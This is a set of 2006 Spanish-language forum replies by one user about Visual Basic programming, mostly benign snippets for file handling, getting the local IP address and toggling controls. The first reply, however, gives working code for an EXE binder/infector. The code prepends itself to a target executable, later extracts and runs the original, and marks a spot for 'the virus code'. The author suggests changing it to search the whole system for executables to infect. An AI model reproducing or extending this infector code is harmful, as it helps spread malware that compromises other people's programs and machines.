|
221
|
Programación / Programación Visual Basic / Re: arxivos binarios
|
en: 13 Abril 2006, 02:55 am
|
Espero que este codigo te sirva, lo hice hace un tiempo ya para experimentar. Funciona mas como binder, pero si tu objetivo es infectar EXEs lo podes modificar para que vaya buscando ejecutables por todo el sistema y un par de cosas mas. Private Sub Form_Load() Dim Datos As String Dim Original As String Dim Yo As String Dim Result As String Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo' Close #1 Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split) If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
Result = Buff(1) Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos Put #2, , Result 'ponemos todo lo que hay DEBAJO del separador Close #2 DoEvents Shell "C:\Resultado.exe" 'abrimos el programa (el original) MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall" Unload Me 'nos cerramos(optativo xD) Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos... Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original' Close #3 Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando) Open "C:\ProgramaAInfectar.exe" For Binary As #4 'abrimos el programa a infectar (modificar esta linea) Put #4, , Datos 'metemos los datos que grabamos antes Close #4 End If
End Sub
'Al final de todo el proceso, el programa quedaria asi: ' '-------------------------- 'Nuestro programa '---SEPARADOR--- 'Programa original '-------------------------- ' ' 'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa, 'este busca lo que hay debajo del separador y lo mete en un nuevo archivo, 'despues abrimos ese archivo y salimos. ' ' ' Un abrazo y suerte ' ' ' ' .NYlOn. ' '¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
Saludos !.-
|
|
|
223
|
Programación / Programación Visual Basic / Re: mostrar ip local
|
en: 9 Abril 2006, 21:55 pm
|
Esto es lo mismo que puso scode (sacado del API-Guide) pero le saque un par de cosas En un modulo: Public Const MIN_SOCKETS_REQD As Long = 1 Public Const WS_VERSION_REQD As Long = &H101 Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF& Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF& Public Const SOCKET_ERROR As Long = -1 Public Const WSADESCRIPTION_LEN = 257 Public Const WSASYS_STATUS_LEN = 129 Public Const MAX_WSADescription = 256 Public Const MAX_WSASYSStatus = 128 Public Type WSAData wVersion As Integer wHighVersion As Integer szDescription(0 To MAX_WSADescription) As Byte szSystemStatus(0 To MAX_WSASYSStatus) As Byte wMaxSockets As Integer wMaxUDPDG As Integer dwVendorInfo As Long End Type Type WSADataInfo wVersion As Integer wHighVersion As Integer szDescription As String * WSADESCRIPTION_LEN szSystemStatus As String * WSASYS_STATUS_LEN iMaxSockets As Integer iMaxUdpDg As Integer lpVendorInfo As String End Type Public Type HOSTENT hName As Long hAliases As Long hAddrType As Integer hLen As Integer hAddrList As Long End Type Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long Declare Function gethostbyname Lib "WSOCK32" (ByVal szHost As String) As Long Declare Sub CopyMemoryIP Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long) Public Function GetIPAddress() As String Dim sHostName As String * 256 Dim lpHost As Long Dim HOST As HOSTENT Dim dwIPAddr As Long Dim tmpIPAddr() As Byte Dim I As Integer Dim sIPAddr As String If Not SocketsInitialize() Then GetIPAddress = "" Exit Function End If sHostName = Trim$(sHostName) lpHost = gethostbyname(sHostName) If lpHost = 0 Then GetIPAddress = "" MsgBox "Windows Sockets are not responding. " & "Unable to successfully get Host Name." Exit Function End If CopyMemoryIP HOST, lpHost, Len(HOST) CopyMemoryIP dwIPAddr, HOST.hAddrList, 4 ReDim tmpIPAddr(1 To HOST.hLen) CopyMemoryIP tmpIPAddr(1), dwIPAddr, HOST.hLen For I = 1 To HOST.hLen sIPAddr = sIPAddr & tmpIPAddr(I) & "." Next GetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1) End Function Public Function HiByte(ByVal wParam As Integer) HiByte = wParam \ &H100 And &HFF& End Function Public Function LoByte(ByVal wParam As Integer) LoByte = wParam And &HFF& End Function
Public Function SocketsInitialize() As Boolean Dim WSAD As WSAData Dim sLoByte As String Dim sHiByte As String If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then MsgBox "The 32-bit Windows Socket is not responding." SocketsInitialize = False Exit Function End If If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then MsgBox "This application requires a minimum of " & CStr(MIN_SOCKETS_REQD) & " supported sockets." SocketsInitialize = False Exit Function End If If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or (LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And HiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then sHiByte = CStr(HiByte(WSAD.wVersion)) sLoByte = CStr(LoByte(WSAD.wVersion)) MsgBox "Sockets version " & sLoByte & "." & sHiByte & " is not supported by 32-bit Windows Sockets." SocketsInitialize = False Exit Function End If SocketsInitialize = True End Function
Despues solo queda: Saludos.-
|
|
|
224
|
Programación / Programación Visual Basic / Re: como hago...
|
en: 9 Abril 2006, 21:44 pm
|
Open app.path & "\hasama.txt" for append as #1 Algo para tener en cuenta es que, si el proyecto no esta guardado app.path va a ser igual al directorio donde esta instalado el VB. Saludos.-
|
|
|
227
|
Programación / Programación Visual Basic / Re: Hacer Grupos: Text + Image + Label + etc...
|
en: 9 Abril 2006, 09:52 am
|
Podes poner los controels en un Frame y despues hacer: Sino podes crear un sub funcion y en vez de escribir el mismo codigo muchas veces llamas a esa funcion: Private Sub Visibilidad() If list.text = "Hello" then image1.visible=true text1.visible=true label1.visible=true image1.visible=false text1.visible=false label1.visible=false else ........ End Sub
Private sub Command1_Click () Call Visibilidad End SUb
Espero que te sirva, saludos.-
|
|
|
228
|
Programación / Programación Visual Basic / Re: Edicion de Archivos en VB
|
en: 8 Abril 2006, 18:10 pm
|
Dim Final, Todo, Buff, Frase As String Frase = vbCrLf & "y" & vbCrLf & "a" & vbCrLf & "todas" & vbCrLf 'Aramamos la frase Open "c:\linea.txt" For Input As #1 'abrimos el archivo a modificar Do While Not EOF(1) 'mientras no se haya terminado Line Input #1, Buff Todo = Todo & Buff & vbCrLf 'ir poninedo linea por linea en una variable Loop Close #1 'cerramos For i = 1 To Len(Todo) 'desde 1 hasta el largo de la variable If Mid(Todo, i, 3) = LCase("soy") Then 'si encontramos la palabra 'soy' Final = Left(Todo, i - 2) & Frase & Right(Todo, Len(Todo) - i + 1) 'ponemos en una nueva variable lo que esta antes del 'soy', nuestra frase y lo que queda al final. End If Next i Open "c:\Modificado.txt" For Output As #1 'Abrimos el archivo resultante Print #1, Final 'ponemos la variable Final que nos habia quedado Close #1
Espero que te sirva, saludos.-
|
|
|
|
|
|
|